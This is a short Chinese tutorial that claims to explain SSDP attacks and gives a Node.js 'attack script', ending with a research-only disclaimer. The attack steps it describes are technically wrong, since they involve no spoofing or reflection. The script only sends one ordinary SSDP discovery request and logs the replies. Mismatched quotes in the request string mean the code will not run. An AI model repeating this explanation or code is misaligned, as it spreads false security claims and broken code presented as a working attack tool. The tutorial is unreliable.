SSDP 攻击详解：原理、攻击步骤及 Node.js 实现

SSDP (Simple Service Discovery Protocol) 是一种用于在局域网中发现设备和服务的协议。通过 SSDP，设备可以向其他设备广播自己的存在，并获取其他设备的信息。然而，由于 SSDP 没有身份验证机制，攻击者可以通过伪造 SSDP 请求来进行攻击，例如 DDoS 攻击。

SSDP 攻击通常采用以下步骤：

1. 攻击者向局域网内的所有设备发送 SSDP 搜索请求。
2. 被攻击的设备收到请求后，会向攻击者发送响应，告知自己的存在。
3. 攻击者收到响应后，会伪造更多的搜索请求，导致被攻击的设备不断响应，最终耗尽其网络带宽和资源，使其无法正常工作。

下面是一个基于 Node.js 的简单 SSDP 攻击脚本：

const dgram = require('dgram');

const searchRequest = Buffer.from(
  'M-SEARCH * HTTP/1.1\r\n' +
  'Host: 239.255.255.250:1900\r\n' +
  'Man: 'ssdp:discover'\r\n' +
  'ST: ssdp:all\r\n' +
  'MX: 1\r\n\r\n'
);

const socket = dgram.createSocket('udp4');
socket.bind(0, () => {
  socket.setBroadcast(true);
  socket.send(searchRequest, 0, searchRequest.length, 1900, '239.255.255.250');
});

socket.on('message', (msg, rinfo) => {
  console.log(`Received message from ${rinfo.address}:${rinfo.port}`);
  console.log(msg.toString());
});

该脚本会向局域网内的所有设备发送 SSDP 搜索请求，并监听响应。可以通过修改搜索请求的内容（例如 ST 字段）来针对特定类型的设备进行攻击。需要注意的是，使用该脚本进行攻击是非法的，仅作为安全研究和学习目的。